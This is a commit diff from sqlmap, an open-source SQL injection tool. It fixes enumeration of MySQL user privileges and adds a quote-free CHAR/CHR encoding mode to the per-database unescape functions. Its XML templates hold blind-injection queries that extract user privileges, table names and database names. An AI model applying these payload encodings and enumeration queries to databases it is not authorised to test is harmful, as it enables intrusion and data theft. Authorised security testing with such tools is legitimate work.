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Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0 also if the user has provided one or more users with -U option;

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This commit is contained in:
Bernardo Damele 2008-11-02 18:17:12 +00:00
parent 91a47246f8
commit 09ca578ca1
8 changed files with 144 additions and 102 deletions
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2
doc/ChangeLog
View File

@ -3,7 +3,7 @@ sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not
specified;
* Major bug fix so that the users' privileges enumeration now works
properly also on MySQL < 5.0;
properly also on both MySQL < 5.0 and MySQL >= 5.0;
* Major bug fix when the request is POST to also send the url parameters
if any have been provided;
* Major improvement to correctly enumerate tables, columns and dump

4
lib/core/unescaper.py
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@ -33,8 +33,8 @@ class Unescaper:
self.__unescaper = unescapeFunction
def unescape(self, expression):
return self.__unescaper(expression)
def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote)
unescaper = Unescaper()

41
plugins/dbms/mssqlserver.py
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@ -67,30 +67,33 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = ""
unescaped = "("
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
unescaped += ")"
expression = expression.replace(old, unescaped)
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
return expression

41
plugins/dbms/mysql.py
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@ -66,28 +66,35 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
expression = expression.replace(old, "CHAR(%s)" % unescaped)
expression = expression.replace(old, "CHAR(%s)" % unescaped)
else:
unescaped = "CHAR("
unescaped += ",".join("%d" % ord(c) for c in expression)
unescaped += ")"
expression = unescaped
return expression

41
plugins/dbms/oracle.py
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@ -59,30 +59,33 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = ""
unescaped = "("
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
unescaped += ")"
expression = expression.replace(old, unescaped)
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression

40
plugins/dbms/postgresql.py
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@ -59,29 +59,33 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = "("
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
unescaped += ")"
expression = expression.replace(old, unescaped)
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression

72
plugins/generic/enumeration.py
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@ -40,6 +40,7 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
@ -346,19 +347,19 @@ class Enumeration:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: we need this here only for MySQL 5.0 because
# of a known issue explained in queries.xml
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + conf.user + "%"
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
# NOTE: we need this here only for MySQL 5.0 because
# of a known issue explained in queries.xml
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, likeUser)
queryUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
else:
query += " WHERE %s = '%s'" % (condition, conf.user)
@ -406,11 +407,25 @@ class Enumeration:
self.cachedUsersPrivileges[user] = list(privileges)
if not self.cachedUsersPrivileges:
conditionChar = "="
if conf.user:
if "," in conf.user:
if kb.dbms == "MySQL" and self.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
users = set()
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
users = [ "%" + conf.user + "%" ]
elif "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
users = [ conf.user ]
else:
if not len(self.cachedUsers):
users = self.getUsers()
@ -420,11 +435,10 @@ class Enumeration:
retrievedUsers = set()
for user in users:
if kb.dbms == "MySQL":
parsedUser = re.search("\047(.*?)\047@'", user)
unescapedUser = None
if parsedUser:
user = parsedUser.groups()[0].replace("'", "")
if kb.dbms == "MySQL" and self.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers:
continue
@ -433,24 +447,26 @@ class Enumeration:
logMsg += "for user '%s'" % user
logger.info(logMsg)
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + user + "%"
if unescapedUser:
queryUser = unescapedUser
else:
likeUser = user
queryUser = user
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"] % likeUser
query = rootQuery["blind"]["count2"] % queryUser
elif kb.dbms == "MySQL" and self.has_information_schema:
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
else:
query = rootQuery["blind"]["count"] % likeUser
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % likeUser
warnMsg += "privileges for user '%s'" % user
logger.warn(warnMsg)
continue
logMsg = "fetching privileges for user '%s'" % likeUser
logMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg)
privileges = set()
@ -458,13 +474,15 @@ class Enumeration:
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["query2"] % (likeUser, index)
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "MySQL" and self.has_information_schema:
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
else:
query = rootQuery["blind"]["query"] % (likeUser, index)
query = rootQuery["blind"]["query"] % (queryUser, index)
privilege = inject.getValue(query, inband=False)
# In PostgreSQL we return 1 if the privilege
# if True, otherwise 0
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if kb.dbms == "PostgreSQL" and ", " in privilege:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
@ -501,6 +519,12 @@ class Enumeration:
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if kb.dbms == "MySQL" and not self.has_information_schema:
break
if privileges:
self.cachedUsersPrivileges[user] = list(privileges)
else:

5
xml/queries.xml
View File

@ -29,8 +29,7 @@
</passwords>
<privileges>
<inband query="SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES" condition="grantee" query2="SELECT user, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user" condition2="user"/>
<!-- TODO: the LIKE clause only affects MySQL >= 5.0. No way so far to use [...] WHERE grantee='%s' in query and count attributes because the unescaper function will forge it as [...] WHERE grantee="CHAR(114,111,111,116)@CHAR(108,111,99,97,108,104,111,115,116)" -->
<blind query="SELECT DISTINCT(privilege_type) FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' LIMIT %d, 1" query2="SELECT select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d, 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
<blind query="SELECT DISTINCT(privilege_type) FROM information_schema.USER_PRIVILEGES WHERE grantee%s%s LIMIT %d, 1" query2="SELECT select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d, 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM information_schema.USER_PRIVILEGES WHERE grantee%s%s" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
</privileges>
<dbs>
<inband query="SELECT schema_name FROM information_schema.SCHEMATA" query2="SELECT db FROM mysql.db"/>
@ -177,10 +176,12 @@
<inband query="SELECT name FROM master..sysdatabases"/>
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs>
<!-- TODO: condition? -->
<tables>
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
</tables>
<!-- TODO: getRange like Oracle? -->
<columns>
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')) CTABLE" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>